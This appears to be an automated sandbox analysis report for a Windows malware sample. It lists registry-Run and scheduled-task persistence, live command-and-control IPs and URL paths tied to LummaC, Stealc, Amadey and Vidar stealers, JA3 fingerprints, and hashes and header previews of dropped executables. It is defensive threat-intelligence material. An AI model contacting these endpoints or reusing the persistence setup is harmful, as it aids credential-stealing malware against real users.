13:25:43	API Interceptor	48x Sleep call for process: DC91U752866P4RTKEWI6.exe modified
13:25:51	API Interceptor	57x Sleep call for process: num.exe modified
19:24:42	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:25:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 805c374e44.exe C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe
19:25:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2de90f6e61.exe C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe
19:25:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e65c930c15.exe C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe
19:25:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000779001\num.exe
19:25:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 805c374e44.exe C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe
19:25:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2de90f6e61.exe C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe
19:26:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e65c930c15.exe C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe
19:26:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000779001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sergei-esenin.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	Inv No.248730.xls	Get hash	malicious	Unknown	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	Purchase Order IOI 7300194 Data Sheet.xls	Get hash	malicious	Unknown	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	PPM435679.xls	Get hash	malicious	Unknown	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	Purchase order.xls	Get hash	malicious	Unknown	Browse	104.102.49.254 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.102.49.254 92.122.104.90 172.67.206.204
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1SC0KN6KHBFFEX9LB9FR.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.5846752518142875
Encrypted:	false
SSDEEP:	24576:lqDEvCTbMWu7rQYlBQcBiT6rprG8abEI:lTvC/MTQYxsWR7ab
MD5:	551A25A3B025A6EDBFF0FDED5871E3E0
SHA1:	6706D470FE22A91AA7F544BEC586E05A041F7C0E
SHA-256:	3294F3F9FFB270B70B202727E5E04C80DB398E3831FD88BBBC945DDBC6F2289D
SHA-512:	76B3613DD0525155D930557873EA85A136904AA56EAEEBB12E4A5CFAF2B00C9B987E8B4925289AA63CA02DE006FEEBE127375BD54A93BCDBE2F36E640602C8AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........X......w.............@..........................`......2.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3008000
Entropy (8bit):	6.540862604663113
Encrypted:	false
SSDEEP:	49152:kW+Pg1Sq0yHppmdQIR2XEV4SO7dP5nHIs5n:n+o1SMppmdV2E+v7dVd5n
MD5:	2DDF3E96C0A2E790AA36BCC1F2607999
SHA1:	7BC2092D410073DFAE4E48E94277A55D01EEE64F
SHA-256:	178D3D7CF8356FB072DE8AB0A493481C30C9F4B7559CEC3F439A55A4135AEE24
SHA-512:	942825DBF074774C3B102B73C601BE7FAF040F34B4B25C542901FE0D59AC53203C13C974390310478C8239BA95A7268D5760035CD965BBDC74685FBDE9006F75
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................`1...........@...........................1.....p.....@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...qpjfxxrc.P+......N+..p..............@...xsxailus.....P1.......-.............@....taggant.0...`1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826304
Entropy (8bit):	7.948040253465346
Encrypted:	false
SSDEEP:	49152:YcKzwRCCynNzs2VkD7Z5cR8OXexpswu5tV:G5BnpsokgR8Oursb3V
MD5:	C4E6EE23E53A5DB6BBBA123A40F78633
SHA1:	886CFED596887173B9818B3F98E6A2A5C4F09305
SHA-256:	23FC1818168EAEA13C4C8561E41C2088D2D0E4B822868839DC0FDB53C6D68396
SHA-512:	33BE9B5035F85A894B680F990AC7D6644161D42F9C6214C074FF232519E1DA808D16B1D934D44B27555CA0A80F8128CF81A3F300D113889675EB07F8489D2FFB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0i...........@..........................`i..........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...yquqvagg......O..\|...<..............@...kkcxorqu..... i.....................@....taggant.0...0i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3008000
Entropy (8bit):	6.540862604663113
Encrypted:	false
SSDEEP:	49152:kW+Pg1Sq0yHppmdQIR2XEV4SO7dP5nHIs5n:n+o1SMppmdV2E+v7dVd5n
MD5:	2DDF3E96C0A2E790AA36BCC1F2607999
SHA1:	7BC2092D410073DFAE4E48E94277A55D01EEE64F
SHA-256:	178D3D7CF8356FB072DE8AB0A493481C30C9F4B7559CEC3F439A55A4135AEE24
SHA-512:	942825DBF074774C3B102B73C601BE7FAF040F34B4B25C542901FE0D59AC53203C13C974390310478C8239BA95A7268D5760035CD965BBDC74685FBDE9006F75
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................`1...........@...........................1.....p.....@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...qpjfxxrc.P+......N+..p..............@...xsxailus.....P1.......-.............@....taggant.0...`1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826304
Entropy (8bit):	7.948040253465346
Encrypted:	false
SSDEEP:	49152:YcKzwRCCynNzs2VkD7Z5cR8OXexpswu5tV:G5BnpsokgR8Oursb3V
MD5:	C4E6EE23E53A5DB6BBBA123A40F78633
SHA1:	886CFED596887173B9818B3F98E6A2A5C4F09305
SHA-256:	23FC1818168EAEA13C4C8561E41C2088D2D0E4B822868839DC0FDB53C6D68396
SHA-512:	33BE9B5035F85A894B680F990AC7D6644161D42F9C6214C074FF232519E1DA808D16B1D934D44B27555CA0A80F8128CF81A3F300D113889675EB07F8489D2FFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......0i...........@..........................`i..........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...yquqvagg......O..\|...<..............@...kkcxorqu..... i.....................@....taggant.0...0i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.5846752518142875
Encrypted:	false
SSDEEP:	24576:lqDEvCTbMWu7rQYlBQcBiT6rprG8abEI:lTvC/MTQYxsWR7ab
MD5:	551A25A3B025A6EDBFF0FDED5871E3E0
SHA1:	6706D470FE22A91AA7F544BEC586E05A041F7C0E
SHA-256:	3294F3F9FFB270B70B202727E5E04C80DB398E3831FD88BBBC945DDBC6F2289D
SHA-512:	76B3613DD0525155D930557873EA85A136904AA56EAEEBB12E4A5CFAF2B00C9B987E8B4925289AA63CA02DE006FEEBE127375BD54A93BCDBE2F36E640602C8AF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........X......w.............@..........................`......2.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000779001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2744320
Entropy (8bit):	6.490557240810267
Encrypted:	false
SSDEEP:	49152:+eAWOcYeFYaSodvqvb1WeQ2tF0qGICeQs:pAWOcYeFYaSoNqj1WeVtq3IW
MD5:	AEFC5D767F773478D75E671284F4BF2A
SHA1:	97B01FC5D1131C73CB6DF86427FF16B798B69EFD
SHA-256:	FB4B2F1A7AE4220F7272EC955C65F5490303230560E887ECD00FC85E70F76225
SHA-512:	85AD6E55622B3848FEA3600B3786FB02576186E2BBC9D48727007182A8A1600B439EC7CEC488A251E13332A815F8FC8C7437369964CFCE8543993A98C101E976
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...namxoaly..).......)..:..............@...dbejnace. ... .......).............@....taggant.@...@*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2744320
Entropy (8bit):	6.490557240810267
Encrypted:	false
SSDEEP:	49152:+eAWOcYeFYaSodvqvb1WeQ2tF0qGICeQs:pAWOcYeFYaSoNqj1WeVtq3IW
MD5:	AEFC5D767F773478D75E671284F4BF2A
SHA1:	97B01FC5D1131C73CB6DF86427FF16B798B69EFD
SHA-256:	FB4B2F1A7AE4220F7272EC955C65F5490303230560E887ECD00FC85E70F76225
SHA-512:	85AD6E55622B3848FEA3600B3786FB02576186E2BBC9D48727007182A8A1600B439EC7CEC488A251E13332A815F8FC8C7437369964CFCE8543993A98C101E976
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
